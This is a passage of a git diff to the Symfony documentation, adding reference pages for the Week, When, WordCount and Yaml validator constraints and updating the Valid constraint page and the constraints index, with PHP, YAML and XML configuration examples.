$metadata->addPropertyConstraint('zipCode', new Assert\Length(['max' => 5])); + $metadata->addPropertyConstraint('zipCode', new Assert\Length(max: 5)); } } @@ -167,10 +161,12 @@ stores an ``Address`` instance in the ``$address`` property:: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('firstName', new Assert\NotBlank()); - $metadata->addPropertyConstraint('firstName', new Assert\Length(['min' => 4])); + $metadata->addPropertyConstraint('firstName', new Assert\Length(min: 4)); $metadata->addPropertyConstraint('lastName', new Assert\NotBlank()); } } @@ -181,7 +177,7 @@ an invalid address. To prevent that, add the ``Valid`` constraint to the .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -190,10 +186,8 @@ an invalid address. To prevent that, add the ``Valid`` constraint to the class Author { - /** - * @Assert\Valid - */ - protected $address; + #[Assert\Valid] + protected Address $address; } .. code-block:: yaml @@ -229,7 +223,9 @@ an invalid address. To prevent that, add the ``Valid`` constraint to the class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('address', new Assert\Valid()); } @@ -243,15 +239,27 @@ the validation of the ``Address`` fields failed. App\Entity\Author.address.zipCode: This value is too long. It should have 5 characters or less. +.. tip:: + + If you also want to validate that the ``address`` property is an instance of + the ``App\Entity\Address`` class, add the :doc:`Type constraint </reference/constraints/Type>`. + Options ------- .. include:: /reference/constraints/_groups-option.rst.inc +.. note:: + + Unlike other constraints, the ``Valid`` constraint does not use the ``Default`` + group. This means that it will always be applied by default, **even** if you + specify a group when calling the validator. If you want to restrict the + constraint to a subset of groups, you have to define the ``groups`` option. + .. include:: /reference/constraints/_payload-option.rst.inc -traverse -~~~~~~~~ +``traverse`` +~~~~~~~~~~~~ **type**: ``boolean`` **default**: ``true`` diff --git a/reference/constraints/Week.rst b/reference/constraints/Week.rst new file mode 100644 index 00000000000..b3c1b0ca122 --- /dev/null +++ b/reference/constraints/Week.rst @@ -0,0 +1,172 @@ +Week +==== + +.. versionadded:: 7.2 + + The ``Week`` constraint was introduced in Symfony 7.2. + +Validates that a given string (or an object implementing the ``Stringable`` PHP +interface) represents a valid week number according to the `ISO-8601`_ standard +(e.g. ``2025-W01``). + +========== ======================================================================= +Applies to :ref:`property or method <validation-property-target>` +Class :class:`Symfony\\Component\\Validator\\Constraints\\Week` +Validator :class:`Symfony\\Component\\Validator\\Constraints\\WeekValidator` +========== ======================================================================= + +Basic Usage +----------- + +If you wanted to ensure that the ``startWeek`` property of an ``OnlineCourse`` +class is between the first and the twentieth week of the year 2022, you could do +the following: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/OnlineCourse.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class OnlineCourse + { + #[Assert\Week(min: '2022-W01', max: '2022-W20')] + protected string $startWeek; + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\OnlineCourse: + properties: + startWeek: + - Week: + min: '2022-W01' + max: '2022-W20' + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\OnlineCourse"> + <property name="startWeek"> + <constraint name="Week"> + <option name="min">2022-W01</option> + <option name="max">2022-W20</option> + </constraint> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/OnlineCourse.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class OnlineCourse + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('startWeek', new Assert\Week( + min: '2022-W01', + max: '2022-W20', + )); + } + } + +This constraint not only checks that the value matches the week number pattern, +but it also verifies that the specified week actually exists in the calendar. +According to the ISO-8601 standard, years can have either 52 or 53 weeks. For example, +``2022-W53`` is not valid because 2022 only had 52 weeks; but ``2020-W53`` is +valid because 2020 had 53 weeks. + +Options +------- + +``min`` +~~~~~~~ + +**type**: ``string`` **default**: ``null`` + +The minimum week number that the value must match. + +``max`` +~~~~~~~ + +**type**: ``string`` **default**: ``null`` + +The maximum week number that the value must match. + +.. include:: /reference/constraints/_groups-option.rst.inc + +``invalidFormatMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``This value does not represent a valid week in the ISO 8601 format.`` + +This is the message that will be shown if the value does not match the ISO 8601 +week format. + +``invalidWeekNumberMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``The week "{{ value }}" is not a valid week.`` + +This is the message that will be shown if the value does not match a valid week +number. + +You can use the following parameters in this message: + +================ ================================================== +Parameter Description +================ ================================================== +``{{ value }}`` The value that was passed to the constraint +================ ================================================== + +``tooLowMessage`` +~~~~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``The value should not be before week "{{ min }}".`` + +This is the message that will be shown if the value is lower than the minimum +week number. + +You can use the following parameters in this message: + +================ ================================================== +Parameter Description +================ ================================================== +``{{ min }}`` The minimum week number +================ ================================================== + +``tooHighMessage`` +~~~~~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``The value should not be after week "{{ max }}".`` + +This is the message that will be shown if the value is higher than the maximum +week number. + +You can use the following parameters in this message: + +================ ================================================== +Parameter Description +================ ================================================== +``{{ max }}`` The maximum week number +================ ================================================== + +.. include:: /reference/constraints/_payload-option.rst.inc + +.. _`ISO-8601`: https://en.wikipedia.org/wiki/ISO_8601 diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst new file mode 100644 index 00000000000..4b2e8eb7590 --- /dev/null +++ b/reference/constraints/When.rst @@ -0,0 +1,336 @@ +When +==== + +This constraint allows you to apply constraints validation only if the +provided expression returns true. See `Basic Usage`_ for an example. + +========== =================================================================== +Applies to :ref:`class <validation-class-target>` + or :ref:`property/method <validation-property-target>` +Options - `expression`_ + - `constraints`_ + _ `otherwise`_ + - `groups`_ + - `payload`_ + - `values`_ +Class :class:`Symfony\\Component\\Validator\\Constraints\\When` +Validator :class:`Symfony\\Component\\Validator\\Constraints\\WhenValidator` +========== =================================================================== + +Basic Usage +----------- + +Imagine you have a class ``Discount`` with ``type`` and ``value`` +properties:: + + // src/Model/Discount.php + namespace App\Model; + + class Discount + { + private ?string $type; + + private ?int $value; + + // ... + + public function getType(): ?string + { + return $this->type; + } + + public function getValue(): ?int + { + return $this->value; + } + } + +To validate the object, you have some requirements: + +A) If ``type`` is ``percent``, then ``value`` must be less than or equal 100; +B) If ``type`` is not ``percent``, then ``value`` must be less than 9999; +C) No matter the value of ``type``, the ``value`` must be greater than 0. + +One way to accomplish this is with the When constraint: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/Discount.php + namespace App\Model; + + use Symfony\Component\Validator\Constraints as Assert; + + class Discount + { + #[Assert\GreaterThan(0)] + #[Assert\When( + expression: 'this.getType() == "percent"', + constraints: [ + new Assert\LessThanOrEqual(100, message: 'The value should be between 1 and 100!') + ], + otherwise: [ + new Assert\LessThan(9999, message: 'The value should be less than 9999!') + ], + )] + private ?int $value; + + // ... + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Model\Discount: + properties: + value: + - GreaterThan: 0 + - When: + expression: "this.getType() == 'percent'" + constraints: + - LessThanOrEqual: + value: 100 + message: "The value should be between 1 and 100!" + otherwise: + - LessThan: + value: 9999 + message: "The value should be less than 9999!" + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + <class name="App\Model\Discount"> + <property name="value"> + <constraint name="GreaterThan">0</constraint> + <constraint name="When"> + <option name="expression"> + this.getType() == 'percent' + </option> + <option name="constraints"> + <constraint name="LessThanOrEqual"> + <option name="value">100</option> + <option name="message">The value should be between 1 and 100!</option> + </constraint> + </option> + <option name="otherwise"> + <constraint name="LessThan"> + <option name="value">9999</option> + <option name="message">The value should be less than 9999!</option> + </constraint> + </option> + </constraint> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Model/Discount.php + namespace App\Model; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class Discount + { + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('value', new Assert\GreaterThan(0)); + $metadata->addPropertyConstraint('value', new Assert\When( + expression: 'this.getType() == "percent"', + constraints: [ + new Assert\LessThanOrEqual( + value: 100, + message: 'The value should be between 1 and 100!', + ), + ], + otherwise: [ + new Assert\LessThan( + value: 9999, + message: 'The value should be less than 9999!', + ), + ], + )); + } + + // ... + } + +The `expression`_ option is the expression that must return true in order +to trigger the validation of the attached constraints. To learn more about +the expression language syntax, see :doc:`/reference/formats/expression_language`. + +For more information about the expression and what variables are available +to you, see the `expression`_ option details below. + +Options +------- + +``expression`` +~~~~~~~~~~~~~~ + +**type**: ``string|Closure`` + +The condition evaluated to decide if the constraint is applied or not. It can be +defined as a closure or a string using the :doc:`expression language syntax </reference/formats/expression_language>`. +If the result is a falsey value (``false``, ``null``, ``0``, an empty string or +an empty array) the constraints defined in the ``constraints`` option won't be +applied but the constraints defined in ``otherwise`` option (if provided) will be applied. + +**When using an expression**, you access to the following variables: + +``this`` + The object being validated (e.g. an instance of Discount). +``value`` + Either the object being validated (when the constraint is applied to a class), + the value of the property being validated (when applied to a property), + or the :doc:`raw value </validation/raw_values>`. +``context`` + The :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface` + object that provides information such as the currently validated class, the + name of the currently validated property, the list of violations, etc. + +.. versionadded:: 7.2 + + The ``context`` variable in expressions was introduced in Symfony 7.2. + +**When using a closure**, the first argument is the object being validated. + +.. versionadded:: 7.3 + + The support for closures in the ``expression`` option was introduced in Symfony 7.3 + and requires PHP 8.5. + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/Discount.php + namespace App\Model; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Context\ExecutionContextInterface; + + class Discount + { + // either using an expression... + #[Assert\When( + expression: 'value == "percent"', + constraints: [new Assert\Callback('doComplexValidation')], + )] + + // ... or using a closure + #[Assert\When( + expression: static function (Discount $discount) { + return $discount->getType() === 'percent'; + }, + constraints: [new Assert\Callback('doComplexValidation')], + )] + private ?string $type; + + // ... + + public function doComplexValidation(ExecutionContextInterface $context, $payload): void + { + // ... + } + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Model\Discount: + properties: + type: + - When: + expression: "value == 'percent'" + constraints: + - Callback: doComplexValidation + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + <class name="App\Model\Discount"> + <property name="type"> + <constraint name="When"> + <option name="expression"> + value == 'percent' + </option> + <option name="constraints"> + <constraint name="Callback"> + <option name="callback">doComplexValidation</option> + </constraint> + </option> + </constraint> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Model/Discount.php + namespace App\Model; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class Discount + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('type', new Assert\When( + expression: 'value == "percent"', + constraints: [ + new Assert\Callback('doComplexValidation'), + ], + )); + } + + public function doComplexValidation(ExecutionContextInterface $context, $payload): void + { + // ... + } + } + +You can also pass custom variables using the `values`_ option. + +``constraints`` +~~~~~~~~~~~~~~~ + +**type**: ``array|Constraint`` + +One or multiple constraints that are applied if the expression returns true. + +``otherwise`` +~~~~~~~~~~~~~ + +**type**: ``array|Constraint`` + +One or multiple constraints that are applied if the expression returns false. + +.. versionadded:: 7.3 + + The ``otherwise`` option was introduced in Symfony 7.3. + +.. include:: /reference/constraints/_groups-option.rst.inc + +.. include:: /reference/constraints/_payload-option.rst.inc + +``values`` +~~~~~~~~~~ + +**type**: ``array`` **default**: ``[]`` + +The values of the custom variables used in the expression. Values can be of any +type (numeric, boolean, strings, null, etc.) diff --git a/reference/constraints/WordCount.rst b/reference/constraints/WordCount.rst new file mode 100644 index 00000000000..392f8a5bcb7 --- /dev/null +++ b/reference/constraints/WordCount.rst @@ -0,0 +1,150 @@ +WordCount +========= + +.. versionadded:: 7.2 + + The ``WordCount`` constraint was introduced in Symfony 7.2. + +Validates that a string (or an object implementing the ``Stringable`` PHP interface) +contains a given number of words. Internally, this constraint uses the +:phpclass:`IntlBreakIterator` class to count the words depending on your locale. + +========== ======================================================================= +Applies to :ref:`property or method <validation-property-target>` +Class :class:`Symfony\\Component\\Validator\\Constraints\\WordCount` +Validator :class:`Symfony\\Component\\Validator\\Constraints\\WordCountValidator` +========== ======================================================================= + +Basic Usage +----------- + +If you wanted to ensure that the ``content`` property of a ``BlogPostDTO`` +class contains between 100 and 200 words, you could do the following: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/BlogPostDTO.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class BlogPostDTO + { + #[Assert\WordCount(min: 100, max: 200)] + protected string $content; + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\BlogPostDTO: + properties: + content: + - WordCount: + min: 100 + max: 200 + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\BlogPostDTO"> + <property name="content"> + <constraint name="WordCount"> + <option name="min">100</option> + <option name="max">200</option> + </constraint> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/BlogPostDTO.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class BlogPostDTO + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('content', new Assert\WordCount( + min: 100, + max: 200, + )); + } + } + +Options +------- + +``min`` +~~~~~~~ + +**type**: ``integer`` **default**: ``null`` + +The minimum number of words that the value must contain. + +``max`` +~~~~~~~ + +**type**: ``integer`` **default**: ``null`` + +The maximum number of words that the value must contain. + +``locale`` +~~~~~~~~~~ + +**type**: ``string`` **default**: ``null`` + +The locale to use for counting the words by using the :phpclass:`IntlBreakIterator` +class. The default value (``null``) means that the constraint uses the current +user locale. + +.. include:: /reference/constraints/_groups-option.rst.inc + +``minMessage`` +~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``This value is too short. It should contain at least one word.|This value is too short. It should contain at least {{ min }} words.`` + +This is the message that will be shown if the value does not contain at least +the minimum number of words. + +You can use the following parameters in this message: + +================ ================================================== +Parameter Description +================ ================================================== +``{{ min }}`` The minimum number of words +``{{ count }}`` The actual number of words +================ ================================================== + +``maxMessage`` +~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``This value is too long. It should contain one word.|This value is too long. It should contain {{ max }} words or less.`` + +This is the message that will be shown if the value contains more than the +maximum number of words. + +You can use the following parameters in this message: + +================ ================================================== +Parameter Description +================ ================================================== +``{{ max }}`` The maximum number of words +``{{ count }}`` The actual number of words +================ ================================================== + +.. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/Yaml.rst b/reference/constraints/Yaml.rst new file mode 100644 index 00000000000..0d1564f4f8a --- /dev/null +++ b/reference/constraints/Yaml.rst @@ -0,0 +1,152 @@ +Yaml +==== + +Validates that a value has valid `YAML`_ syntax. + +.. versionadded:: 7.2 + + The ``Yaml`` constraint was introduced in Symfony 7.2. + +========== =================================================================== +Applies to :ref:`property or method <validation-property-target>` +Class :class:`Symfony\\Component\\Validator\\Constraints\\Yaml` +Validator :class:`Symfony\\Component\\Validator\\Constraints\\YamlValidator` +========== =================================================================== + +Basic Usage +----------- + +The ``Yaml`` constraint can be applied to a property or a "getter" method: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/Report.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class Report + { + #[Assert\Yaml( + message: "Your configuration doesn't have valid YAML syntax." + )] + private string $customConfiguration; + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\Report: + properties: + customConfiguration: + - Yaml: + message: Your configuration doesn't have valid YAML syntax. + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\Report"> + <property name="customConfiguration"> + <constraint name="Yaml"> + <option name="message">Your configuration doesn't have valid YAML syntax.</option> + </constraint> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/Report.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class Report + { + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml( + message: 'Your configuration doesn\'t have valid YAML syntax.', + )); + } + } + +Options +------- + +``flags`` +~~~~~~~~~ + +**type**: ``integer`` **default**: ``0`` + +This option enables optional features of the YAML parser when validating contents. +Its value is a combination of one or more of the :ref:`flags defined by the Yaml component <yaml-flags>`: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/Report.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Yaml\Yaml; + + class Report + { + #[Assert\Yaml( + message: "Your configuration doesn't have valid YAML syntax.", + flags: Yaml::PARSE_CONSTANT | Yaml::PARSE_CUSTOM_TAGS | Yaml::PARSE_DATETIME, + )] + private string $customConfiguration; + } + + .. code-block:: php + + // src/Entity/Report.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + use Symfony\Component\Yaml\Yaml; + + class Report + { + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml( + message: 'Your configuration doesn\'t have valid YAML syntax.', + flags: Yaml::PARSE_CONSTANT | Yaml::PARSE_CUSTOM_TAGS | Yaml::PARSE_DATETIME, + )); + } + } + +``message`` +~~~~~~~~~~~ + +**type**: ``string`` **default**: ``This value is not valid YAML.`` + +This message shown if the underlying data is not a valid YAML value. + +You can use the following parameters in this message: + +=============== ============================================================== +Parameter Description +=============== ============================================================== +``{{ error }}`` The full error message from the YAML parser +``{{ line }}`` The line where the YAML syntax error happened +=============== ============================================================== + +.. include:: /reference/constraints/_groups-option.rst.inc + +.. include:: /reference/constraints/_payload-option.rst.inc + +.. _`YAML`: https://en.wikipedia.org/wiki/YAML diff --git a/reference/constraints/_comparison-propertypath-option.rst.inc b/reference/constraints/_comparison-propertypath-option.rst.inc index 35f0da4d189..0965b3cd847 100644 --- a/reference/constraints/_comparison-propertypath-option.rst.inc +++ b/reference/constraints/_comparison-propertypath-option.rst.inc @@ -1,7 +1,7 @@ ``propertyPath`` ~~~~~~~~~~~~~~~~ -**type**: ``string`` +**type**: ``string`` **default**: ``null`` It defines the object property whose value is used to make the comparison. diff --git a/reference/constraints/_comparison-value-option.rst.inc b/reference/constraints/_comparison-value-option.rst.inc index b587e46ffef..91ab28a2e94 100644 --- a/reference/constraints/_comparison-value-option.rst.inc +++ b/reference/constraints/_comparison-value-option.rst.inc @@ -1,7 +1,7 @@ ``value`` ~~~~~~~~~ -**type**: ``mixed`` [:ref:`default option <validation-default-option>`] +**type**: ``mixed`` -This option is required. It defines the value to compare to. It can be a +This option is required. It defines the comparison value. It can be a string, number or object. diff --git a/reference/constraints/_groups-option.rst.inc b/reference/constraints/_groups-option.rst.inc index 0de5e2046b5..e69e96df72e 100644 --- a/reference/constraints/_groups-option.rst.inc +++ b/reference/constraints/_groups-option.rst.inc @@ -1,7 +1,7 @@ ``groups`` ~~~~~~~~~~ -**type**: ``array`` | ``string`` +**type**: ``array`` | ``string`` **default**: ``null`` -It defines the validation group or groups this constraint belongs to. Read more +It defines the validation group or groups of this constraint. Read more about :doc:`validation groups </validation/groups>`. diff --git a/reference/constraints/_normalizer-option.rst.inc b/reference/constraints/_normalizer-option.rst.inc index 784f915ff95..dcbba1c2da8 100644 --- a/reference/constraints/_normalizer-option.rst.inc +++ b/reference/constraints/_normalizer-option.rst.inc @@ -1,5 +1,5 @@ -normalizer -~~~~~~~~~~ +``normalizer`` +~~~~~~~~~~~~~~ **type**: a `PHP callable`_ **default**: ``null`` diff --git a/reference/constraints/_null-values-are-valid.rst.inc b/reference/constraints/_null-values-are-valid.rst.inc new file mode 100644 index 00000000000..49b6a54faad --- /dev/null +++ b/reference/constraints/_null-values-are-valid.rst.inc @@ -0,0 +1,6 @@ +.. note:: + + As with most of the other constraints, ``null`` is + considered a valid value. This is to allow the use of optional values. + If the value is mandatory, a common solution is to combine this constraint + with :doc:`NotNull </reference/constraints/NotNull>`. diff --git a/reference/constraints/_parameters-mime-types-message-option.rst.inc b/reference/constraints/_parameters-mime-types-message-option.rst.inc new file mode 100644 index 00000000000..0956b77a9c1 --- /dev/null +++ b/reference/constraints/_parameters-mime-types-message-option.rst.inc @@ -0,0 +1,10 @@ +You can use the following parameters in this message: + +=============== ============================================================== +Parameter Description +=============== ============================================================== +``{{ file }}`` Absolute file path +``{{ name }}`` Base file name +``{{ type }}`` The MIME type of the given file +``{{ types }}`` The list of allowed MIME types +=============== ============================================================== diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc index 020e84cde65..06680e42207 100644 --- a/reference/constraints/map.rst.inc +++ b/reference/constraints/map.rst.inc @@ -4,51 +4,67 @@ Basic Constraints These are the basic constraints: use them to assert very basic things about the value of properties or the return value of methods on your object. -* :doc:`NotBlank </reference/constraints/NotBlank>` +.. class:: ui-list-two-columns + * :doc:`Blank </reference/constraints/Blank>` -* :doc:`NotNull </reference/constraints/NotNull>` +* :doc:`IsFalse </reference/constraints/IsFalse>` * :doc:`IsNull </reference/constraints/IsNull>` * :doc:`IsTrue </reference/constraints/IsTrue>` -* :doc:`IsFalse </reference/constraints/IsFalse>` +* :doc:`NotBlank </reference/constraints/NotBlank>` +* :doc:`NotNull </reference/constraints/NotNull>` * :doc:`Type </reference/constraints/Type>` String Constraints ~~~~~~~~~~~~~~~~~~ +.. class:: ui-list-three-columns + +* :doc:`Charset </reference/constraints/Charset>` +* :doc:`Cidr </reference/constraints/Cidr>` +* :doc:`CssColor </reference/constraints/CssColor>` * :doc:`Email </reference/constraints/Email>` -* :doc:`ExpressionLanguageSyntax </reference/constraints/ExpressionLanguageSyntax>` -* :doc:`Length </reference/constraints/Length>` -* :doc:`Url </reference/constraints/Url>` -* :doc:`Regex </reference/constraints/Regex>` +* :doc:`ExpressionSyntax </reference/constraints/ExpressionSyntax>` * :doc:`Hostname </reference/constraints/Hostname>` * :doc:`Ip </reference/constraints/Ip>` * :doc:`Json </reference/constraints/Json>` -* :doc:`Uuid </reference/constraints/Uuid>` +* :doc:`Length </reference/constraints/Length>` +* :doc:`MacAddress </reference/constraints/MacAddress>` +* :doc:`NoSuspiciousCharacters </reference/constraints/NoSuspiciousCharacters>` +* :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>` +* :doc:`PasswordStrength </reference/constraints/PasswordStrength>` +* :doc:`Regex </reference/constraints/Regex>` +* :doc:`Twig </reference/constraints/Twig>` * :doc:`Ulid </reference/constraints/Ulid>` +* :doc:`Url </reference/constraints/Url>` * :doc:`UserPassword </reference/constraints/UserPassword>` -* :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>` +* :doc:`Uuid </reference/constraints/Uuid>` +* :doc:`WordCount </reference/constraints/WordCount>` +* :doc:`Yaml </reference/constraints/Yaml>` Comparison Constraints ~~~~~~~~~~~~~~~~~~~~~~ +.. class:: ui-list-three-columns + +* :doc:`DivisibleBy </reference/constraints/DivisibleBy>` * :doc:`EqualTo </reference/constraints/EqualTo>` -* :doc:`NotEqualTo </reference/constraints/NotEqualTo>` +* :doc:`GreaterThan </reference/constraints/GreaterThan>` +* :doc:`GreaterThanOrEqual </reference/constraints/GreaterThanOrEqual>` * :doc:`IdenticalTo </reference/constraints/IdenticalTo>` -* :doc:`NotIdenticalTo </reference/constraints/NotIdenticalTo>` * :doc:`LessThan </reference/constraints/LessThan>` * :doc:`LessThanOrEqual </reference/constraints/LessThanOrEqual>` -* :doc:`GreaterThan </reference/constraints/GreaterThan>` -* :doc:`GreaterThanOrEqual </reference/constraints/GreaterThanOrEqual>` +* :doc:`NotEqualTo </reference/constraints/NotEqualTo>` +* :doc:`NotIdenticalTo </reference/constraints/NotIdenticalTo>` * :doc:`Range </reference/constraints/Range>` -* :doc:`DivisibleBy </reference/constraints/DivisibleBy>` * :doc:`Unique </reference/constraints/Unique>` Number Constraints ~~~~~~~~~~~~~~~~~~ -* :doc:`Positive </reference/constraints/Positive>` -* :doc:`PositiveOrZero </reference/constraints/PositiveOrZero>` + * :doc:`Negative </reference/constraints/Negative>` * :doc:`NegativeOrZero </reference/constraints/NegativeOrZero>` +* :doc:`Positive </reference/constraints/Positive>` +* :doc:`PositiveOrZero </reference/constraints/PositiveOrZero>` Date Constraints ~~~~~~~~~~~~~~~~ @@ -57,14 +73,15 @@ Date Constraints * :doc:`DateTime </reference/constraints/DateTime>` * :doc:`Time </reference/constraints/Time>` * :doc:`Timezone </reference/constraints/Timezone>` +* :doc:`Week </reference/constraints/Week>` Choice Constraints ~~~~~~~~~~~~~~~~~~ * :doc:`Choice </reference/constraints/Choice>` +* :doc:`Country </reference/constraints/Country>` * :doc:`Language </reference/constraints/Language>` * :doc:`Locale </reference/constraints/Locale>` -* :doc:`Country </reference/constraints/Country>` File Constraints ~~~~~~~~~~~~~~~~ @@ -75,26 +92,39 @@ File Constraints Financial and other Number Constraints ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +.. class:: ui-list-two-columns + * :doc:`Bic </reference/constraints/Bic>` * :doc:`CardScheme </reference/constraints/CardScheme>` * :doc:`Currency </reference/constraints/Currency>` -* :doc:`Luhn </reference/constraints/Luhn>` * :doc:`Iban </reference/constraints/Iban>` * :doc:`Isbn </reference/constraints/Isbn>` -* :doc:`Issn </reference/constraints/Issn>` * :doc:`Isin </reference/constraints/Isin>` +* :doc:`Issn </reference/constraints/Issn>` +* :doc:`Luhn </reference/constraints/Luhn>` + +Doctrine Constraints +~~~~~~~~~~~~~~~~~~~~ + +* :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>` +* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>` +* :doc:`UniqueEntity </reference/constraints/UniqueEntity>` Other Constraints ~~~~~~~~~~~~~~~~~ +.. class:: ui-list-three-columns + +* :doc:`All </reference/constraints/All>` * :doc:`AtLeastOneOf </reference/constraints/AtLeastOneOf>` -* :doc:`Sequentially </reference/constraints/Sequentially>` -* :doc:`Compound </reference/constraints/Compound>` * :doc:`Callback </reference/constraints/Callback>` -* :doc:`Expression </reference/constraints/Expression>` -* :doc:`All </reference/constraints/All>` -* :doc:`Valid </reference/constraints/Valid>` -* :doc:`Traverse </reference/constraints/Traverse>` +* :doc:`Cascade </reference/constraints/Cascade>` * :doc:`Collection </reference/constraints/Collection>` +* :doc:`Compound </reference/constraints/Compound>` * :doc:`Count </reference/constraints/Count>` -* :doc:`UniqueEntity </reference/constraints/UniqueEntity>` +* :doc:`Expression </reference/constraints/Expression>` +* :doc:`GroupSequence </validation/sequence_provider>` +* :doc:`Sequentially </reference/constraints/Sequentially>` +* :doc:`Traverse </reference/constraints/Traverse>` +* :doc:`Valid </reference/constraints/Valid>` +* :doc:`When </reference/constraints/When>` diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst index f7f43dca376..866aac5774f 100644 --- a/reference/dic_tags.rst +++ b/reference/dic_tags.rst @@ -5,50 +5,71 @@ Built-in Symfony Service Tags :doc:`DependencyInjection component </components/dependency_injection>` to flag services that require special processing, like console commands or Twig extensions. -These are the most common tags provided by Symfony components, but in your -application there could be more tags available provided by third-party bundles: - -======================================== ======================================================================== -Tag Name Usage -======================================== ======================================================================== -`auto_alias`_ Define aliases based on the value of container parameters -`console.command`_ Add a command -`container.hot_path`_ Add to list of always needed services -`container.no_preload`_ Remove a class from the list of classes preloaded by PHP -`container.preload`_ Add some class to the list of classes preloaded by PHP -`controller.argument_value_resolver`_ Register a 